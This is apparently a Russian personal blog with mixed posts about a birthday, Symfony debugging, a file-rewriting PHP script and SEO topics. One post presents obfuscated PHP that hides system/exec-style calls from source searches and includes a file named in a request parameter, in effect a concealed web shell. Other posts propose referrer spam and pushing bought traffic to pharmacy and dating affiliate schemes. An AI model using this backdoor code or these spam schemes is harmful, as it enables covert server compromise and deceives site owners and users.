Стал обладателем акустической системы Gaze. Звук чистейший, мощный, самое то для моего ноутбука. Спасибо моей любимой девушке
Так же спасибо всем, кто поздравил, и в этот день был рядом. День Рождения прошел отлично, до сих пор сдерживаю эмоции Может быть выложу пару фоток потом.
Собственно сабж, сегодня у меня День Рождения
Странно, что до сих пор не придумал как буду его праздновать. Настроение ни к черту, сам не знаю почему. Но думаю все наладится
Недавно ломал голову над тем, есть ли замена функции eval() в php.
Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.
Немного поломав мозг, пришел к такому решению:
// функции для выполнения
$funcs = array(
'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)
function preved() {
############## Здесь любой код для выполнения ############
(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
function test() {
global $funcs, $strng;
$result = $funcs[0]($funcs[1]($strng));
return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);
Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:
это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал
Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.
За последние два дня заметил существенный прирост в конверте с доров для ру дэйтинг партнерок. На Ostapcash конверт от 1:40 до 1:3 (!), на Alphacash ~1:18. Причина этому – увеличение кредитного лимита у абонентов МТС, в результате чего, огромное кол-во людей смогло уходить в минус.
Скажем спасибо МТС и требуем таких же шагов от Beeline и MegaFon’а
На работе пишу интернет-магазин на Symfony, и в ходе разработки иногда появляются маленькие косяки, на которые убиваю очень много времени.
В частности, при ребилде проекта (doctrine:build-all-reload) все время выскакивала ошибка о том, что класс sfGuardGroup был определен 2 раза. Причем даже при удалении всех файлов с классами из /lib/model/doctrine/sfDoctrineGuardPlugin/base все создавалось по-новой. Решение оказалось довольно-таки простым, но сразу я до него почему-то не додумался.
Оказывается в модели /config/doctrine/schema.yml и /plugins/sfDoctrineGuardPlugin/config/doctrine/schema.yml была описана одна и та же таблица, на основе которой генерировался данный класс. Только до сих пор не могу понять откуда взялся этот /config/doctrine/schema.yml, может быть это глюк самого sfGuardPlugin.
Прикрутил xDebug к php, очень удобная штука для отладки скриптов, пока доволен.
P.S. На этой неделе собираюсь на море, надеюсь погода не подкачает
Сохраняю для себя, часто пользуюсь, может кому тоже полезно будет.
Скрипт берет все файлы в директории и меняет в нем заданные строки на новые.
$pages = glob("/home/user/public_html/files/*");
$chto = 'hello world!';
$nachto = 'привет, мир!';
foreach($pages as $page)
if(!substr_count((string)$page, 'index.php')) {
$data = file_get_contents($page);
$data = str_ireplace($chto, $nachto, $data);
file_put_contents($page, $data);
}
Ничего сложного, но если бы не скрипт – много бы было возни лишней.
Уверен что многие блоггеры, ровно как и оптимизаторы/администраторы сайтов мониторят статистику переходов на свои ресурсы через сервис Liveinternet, к примеру.
А что, надо это как-то использовать. А как использовать? Правильно, брать базу тематичных сайтов и слать по ним http запросы с поддельным referrer’ом.
Натолкнуло на мысль давно, но как-то не придавал этому значение. А тут в ежедневной статистике блога вижу один и тот же url сайта, с которого идут переходы, хотя активной ссылки на ресурсе нет.
Вот для примера:
Понятное дело, что приток трафика будет совсем не большой, да и тот «админский»
Как такое реализовать? Достаем базу тематичных сайтов/блогов, пишем скрипт, который бы слал запросы с поддельным http_referrer на эти сайты. Кому интересно – могу выложить скрипт.
P.S. Сегодня приятно удивился, когда увидел на страницах журнала ][akep анонс своего скрипта, который написал еще два с лишним года назад. Приятно, черт возьми…
Прочитав недавний пост в блоге Bormaley, решил провести небольшой подобный эксперимент. Суть – купить трафик на бирже Klikadvertising и попытаться сконвертить его в Glavmed.
Итак, что мы имеем:
- Аккаунт в Klikadvertising с балансом 50$
- Главмедовский шоп. Трафик лил на препарат Cialis
- Желание срубить бобла Ну или хотя бы сконвертить трафик до 50$, чтобы не так обидно было
Не успел еще закончиться вчерашний апдейт гугла, как апнуло тИЦ. Зачастили великаны с апдейтами.
Что касается меня, особо за параметрами не слежу, так как работаю в другой сфере.
Всем удачного апа
Не прошло и месяца, как Google снова обновил значение pagerank для сайтов. Странно конечно, раньше апы были с периодичностью в 3-4 месяца. Видимо гугл окончательно сошел с ума, или что-то подкручивает и готовит новые «сюрпризы».
Что касается PR блога, гугл обнулил его недели 2 назад, сейчас вроде вернулась единичка. Не суть важно, просто интересно, с чего вдруг гугл начал обнулять PR.
Свежие материалы
25-07-2023
3